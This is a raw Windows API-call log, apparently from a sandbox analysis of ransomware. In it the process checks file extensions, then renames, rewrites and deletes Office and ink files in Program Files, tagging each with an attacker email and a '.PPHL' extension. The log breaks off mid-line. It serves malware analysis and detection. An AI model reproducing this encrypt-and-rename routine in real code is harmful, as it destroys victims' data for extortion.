lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString=".bz2") returned 4 [0066.833] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString=".7z") returned 3 [0066.833] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.833] lstrlenW (lpString=".dbf") returned 4 [0066.833] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.833] lstrlenW (lpString=".1cd") returned 4 [0066.834] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76 [0066.834] lstrlenW (lpString=".jpg") returned 4 [0066.834] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.834] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0066.834] lstrlenW (lpString="oskmenubase.xml") returned 15 [0066.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0066.835] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=471) returned 1 [0066.835] CloseHandle (hObject=0x1e8) returned 1 [0066.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0066.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0066.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.835] lstrlenW (lpString=".doc") returned 4 [0066.835] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.835] lstrlenW (lpString=".docx") returned 5 [0066.835] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0066.835] lstrlenW (lpString=".pdf") returned 4 [0066.835] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.835] lstrlenW (lpString=".xls") returned 4 [0066.835] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.835] lstrlenW (lpString=".xlsx") returned 5 [0066.835] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0066.835] lstrlenW (lpString=".ppt") returned 4 [0066.835] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.835] lstrlenW (lpString=".zip") returned 4 [0066.835] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.836] lstrlenW (lpString=".rar") returned 4 [0066.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.836] lstrlenW (lpString=".bz2") returned 4 [0066.836] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.836] lstrlenW (lpString=".7z") returned 3 [0066.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.836] lstrlenW (lpString=".dbf") returned 4 [0066.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.836] lstrlenW (lpString=".1cd") returned 4 [0066.836] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.836] lstrlenW (lpString=".jpg") returned 4 [0066.836] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.836] lstrlenW (lpString=".doc") returned 4 [0066.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.836] lstrlenW (lpString=".docx") returned 5 [0066.836] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0066.836] lstrlenW (lpString=".pdf") returned 4 [0066.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.836] lstrlenW (lpString=".xls") returned 4 [0066.836] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.836] lstrlenW (lpString=".xlsx") returned 5 [0066.836] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0066.836] lstrlenW (lpString=".ppt") returned 4 [0066.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.836] lstrlenW (lpString=".zip") returned 4 [0066.836] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.836] lstrlenW (lpString=".rar") returned 4 [0066.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.837] lstrlenW (lpString=".bz2") returned 4 [0066.837] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.837] lstrlenW (lpString=".7z") returned 3 [0066.837] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.837] lstrlenW (lpString=".dbf") returned 4 [0066.837] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.837] lstrlenW (lpString=".1cd") returned 4 [0066.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0066.837] lstrlenW (lpString=".jpg") returned 4 [0066.837] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.837] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0066.837] lstrlenW (lpString="oskmenu.xml") returned 11 [0066.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0066.837] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=215) returned 1 [0066.837] CloseHandle (hObject=0x1e8) returned 1 [0066.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0066.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0066.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0066.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0066.838] lstrlenW (lpString=".doc") returned 4 [0066.838] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.838] lstrlenW (lpString=".docx") returned 5 [0066.838] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0066.838] lstrlenW (lpString=".pdf") returned 4 [0066.838] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.838] lstrlenW (lpString=".xls") returned 4 [0066.838] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.838] lstrlenW (lpString=".xlsx") returned 5 [0066.838] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0066.838] lstrlenW (lpString=".ppt") returned 4 [0066.838] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0066.838] lstrlenW (lpString=".zip") returned 4 [0066.838] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.838] lstrlenW (lpString=".rar") returned 4 [0066.838] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.838] lstrlenW (lpString=".bz2") returned 4 [0066.838] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.838] lstrlenW (lpString=".7z") returned 3 [0066.838] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0066.838] lstrlenW (lpString=".dbf") returned 4 [0066.838] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0 [0067.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0 [0067.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0 [0067.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0 [0067.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 1 [0067.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0067.352] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fc6c | out: lpNewFilePointer=0x0) returned 1 [0067.352] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fc2c | out: lpNewFilePointer=0x0) returned 1 [0067.352] ReadFile (in: hFile=0x1f0, lpBuffer=0x3080058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3080058*, lpNumberOfBytesRead=0x2a3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0067.356] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fc2c | out: lpNewFilePointer=0x0) returned 1 [0067.356] ReadFile (in: hFile=0x1f0, lpBuffer=0x30c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a3fc38, lpOverlapped=0x0 | out: lpBuffer=0x30c0058*, lpNumberOfBytesRead=0x2a3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0067.362] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0067.362] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fc2c | out: lpNewFilePointer=0x0) returned 1 [0067.362] ReadFile (in: hFile=0x1f0, lpBuffer=0x3100058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3100058*, lpNumberOfBytesRead=0x2a3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0067.737] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0067.737] WriteFile (in: hFile=0x1f0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2a3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0068.182] SetEndOfFile (hFile=0x1f0) returned 1 [0068.182] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3fe3fd0 [0068.186] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.186] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fe3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd0*, lpNumberOfBytesWritten=0x2a3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.187] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.187] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fe3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd0*, lpNumberOfBytesWritten=0x2a3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.189] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fc7c | out: lpNewFilePointer=0x0) returned 1 [0068.190] WriteFile (in: hFile=0x1f0, lpBuffer=0x3fe3fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe3fd0*, lpNumberOfBytesWritten=0x2a3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0068.192] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3fe3fd0 | out: hHeap=0x5d0000) returned 1 [0068.192] CloseHandle (hObject=0x1f0) returned 1 [0068.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0068.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.681] lstrlenW (lpString=".doc") returned 4 [0068.681] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0068.681] lstrlenW (lpString=".docx") returned 5 [0068.681] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0068.681] lstrlenW (lpString=".pdf") returned 4 [0068.681] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0068.681] lstrlenW (lpString=".xls") returned 4 [0068.681] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0068.681] lstrlenW (lpString=".xlsx") returned 5 [0068.681] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0068.681] lstrlenW (lpString=".ppt") returned 4 [0068.681] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0068.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.681] lstrlenW (lpString=".zip") returned 4 [0068.681] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0068.681] lstrlenW (lpString=".rar") returned 4 [0068.681] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0068.681] lstrlenW (lpString=".bz2") returned 4 [0068.681] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0068.681] lstrlenW (lpString=".7z") returned 3 [0068.681] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0068.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.682] lstrlenW (lpString=".dbf") returned 4 [0068.682] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0068.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.682] lstrlenW (lpString=".1cd") returned 4 [0068.682] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0068.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.682] lstrlenW (lpString=".jpg") returned 4 [0068.682] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0068.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.682] lstrlenW (lpString=".doc") returned 4 [0068.682] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0068.682] lstrlenW (lpString=".docx") returned 5 [0068.682] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0068.682] lstrlenW (lpString=".pdf") returned 4 [0068.682] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0068.682] lstrlenW (lpString=".xls") returned 4 [0068.682] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0068.682] lstrlenW (lpString=".xlsx") returned 5 [0068.682] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0068.682] lstrlenW (lpString=".ppt") returned 4 [0068.682] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0068.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.682] lstrlenW (lpString=".zip") returned 4 [0068.682] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0068.683] lstrlenW (lpString=".rar") returned 4 [0068.683] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0068.683] lstrlenW (lpString=".bz2") returned 4 [0068.683] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0068.683] lstrlenW (lpString=".7z") returned 3 [0068.683] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0068.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.683] lstrlenW (lpString=".dbf") returned 4 [0068.683] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0068.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.683] lstrlenW (lpString=".1cd") returned 4 [0068.683] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0068.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0068.683] lstrlenW (lpString=".jpg") returned 4 [0068.683] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0068.683] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0068.683] lstrlenW (lpString="BRANDING.XML") returned 12 [0068.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0069.618] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=596341) returned 1 [0069.618] CloseHandle (hObject=0x1f8) returned 1 [0069.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0069.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0069.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0069.630] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.642] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0069.652] GetLastError () returned 0x0 [0069.652] ReadFile (in: hFile=0x1f8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x91975, lpOverlapped=0x0) returned 1 [0069.666] WriteFile (in: hFile=0x1f0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0069.680] ReadFile (in: hFile=0x1f8, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.680] WriteFile (in: hFile=0x1f0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0069.681] SetEndOfFile (hFile=0x1f0) returned 1 [0069.681] CloseHandle (hObject=0x1f0) returned 1 [0069.687] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.687] SetEndOfFile (hFile=0x1f8) returned 1 [0069.693] CloseHandle (hObject=0x1f8) returned 1 [0069.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0069.693] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0069.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 